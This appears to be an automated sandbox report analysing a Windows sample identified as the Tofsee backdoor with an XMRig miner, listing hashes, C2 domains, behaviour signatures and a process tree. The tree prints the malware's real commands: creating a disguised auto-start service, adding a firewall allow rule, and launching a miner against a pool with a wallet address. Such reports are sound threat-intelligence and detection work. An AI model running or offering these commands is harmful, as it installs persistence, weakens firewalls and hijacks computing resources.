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Analysis

  • max time kernel
    153s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/01/2023, 07:52

General

  • Target

    file.exe

  • Size

    327KB

  • MD5

    cac294181b203b7842a3cb7f088abcfc

  • SHA1

    0f29d824da088340a39e1806a718d9132bc7441b

  • SHA256

    710e157f1b500c71193bbeb23a2f6fbd492a9ad47a13256b1d058e864e0908dc

  • SHA512

    319f074816133158ced69e9db6a5a1756af61fce613d7adbe429f3ee4a3ecb113d0128a3ac13cf1b3f46dad4a7dadf4f9ffcd237a9a5fd0c22a6e34cafdb81c2

  • SSDEEP

    6144:n+HG1UJcOEexoWDNRTlGOyyDqCFH0iXlG9:ne85OBoWDNisOCysG

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4160
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jrxehvag\
      2⤵
        PID:3976
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vxalgapq.exe" C:\Windows\SysWOW64\jrxehvag\
        2⤵
          PID:964
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jrxehvag binPath= "C:\Windows\SysWOW64\jrxehvag\vxalgapq.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1108
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description jrxehvag "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4568
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start jrxehvag
          2⤵
          • Launches sc.exe
          PID:2364
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2068
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4160 -s 668
          2⤵
          • Program crash
          PID:4492
      • C:\Windows\SysWOW64\jrxehvag\vxalgapq.exe
        C:\Windows\SysWOW64\jrxehvag\vxalgapq.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4888
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1668
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2264
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4888 -s 520
          2⤵
          • Program crash
          PID:4264
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4160 -ip 4160
        1⤵
          PID:3056
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4888 -ip 4888
          1⤵
            PID:3744

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\vxalgapq.exe

            Filesize

            12.0MB

            MD5

            ce82fb077bf81f9b8f071835105e65dc

            SHA1

            2021f66b090cc25b8e7ae5ffc79c40654c95d32c

            SHA256

            1e1a03e927e93be416079d67f8089c9e24539927c92938d259aeecbdbb5d79ff

            SHA512

            279cf54b8a2fcc0072de3c18771fa42951b7685c361ee29be38915d2b8142dab01d3703b91dfbda0a08fe3f31ce9761c2f78acf4f00549836d0c9d1955e9d447

          • C:\Windows\SysWOW64\jrxehvag\vxalgapq.exe

            Filesize

            12.0MB

            MD5

            ce82fb077bf81f9b8f071835105e65dc

            SHA1

            2021f66b090cc25b8e7ae5ffc79c40654c95d32c

            SHA256

            1e1a03e927e93be416079d67f8089c9e24539927c92938d259aeecbdbb5d79ff

            SHA512

            279cf54b8a2fcc0072de3c18771fa42951b7685c361ee29be38915d2b8142dab01d3703b91dfbda0a08fe3f31ce9761c2f78acf4f00549836d0c9d1955e9d447

          • memory/1668-150-0x0000000000310000-0x0000000000325000-memory.dmp

            Filesize

            84KB

          • memory/1668-167-0x00000000019E0000-0x00000000019E7000-memory.dmp

            Filesize

            28KB

          • memory/1668-164-0x0000000007240000-0x000000000764B000-memory.dmp

            Filesize

            4.0MB

          • memory/1668-161-0x00000000019D0000-0x00000000019D5000-memory.dmp

            Filesize

            20KB

          • memory/1668-158-0x00000000019C0000-0x00000000019D0000-memory.dmp

            Filesize

            64KB

          • memory/1668-155-0x00000000005F0000-0x00000000005F6000-memory.dmp

            Filesize

            24KB

          • memory/1668-152-0x0000000002200000-0x000000000240F000-memory.dmp

            Filesize

            2.1MB

          • memory/1668-151-0x0000000000310000-0x0000000000325000-memory.dmp

            Filesize

            84KB

          • memory/1668-145-0x0000000000310000-0x0000000000325000-memory.dmp

            Filesize

            84KB

          • memory/2264-171-0x0000000000C50000-0x0000000000D41000-memory.dmp

            Filesize

            964KB

          • memory/2264-176-0x0000000000C50000-0x0000000000D41000-memory.dmp

            Filesize

            964KB

          • memory/4160-132-0x00000000005CE000-0x00000000005E3000-memory.dmp

            Filesize

            84KB

          • memory/4160-143-0x0000000000400000-0x0000000000458000-memory.dmp

            Filesize

            352KB

          • memory/4160-133-0x0000000002190000-0x00000000021A3000-memory.dmp

            Filesize

            76KB

          • memory/4160-134-0x0000000000400000-0x0000000000458000-memory.dmp

            Filesize

            352KB

          • memory/4888-149-0x0000000000400000-0x0000000000458000-memory.dmp

            Filesize

            352KB

          • memory/4888-148-0x00000000007E9000-0x00000000007FE000-memory.dmp

            Filesize

            84KB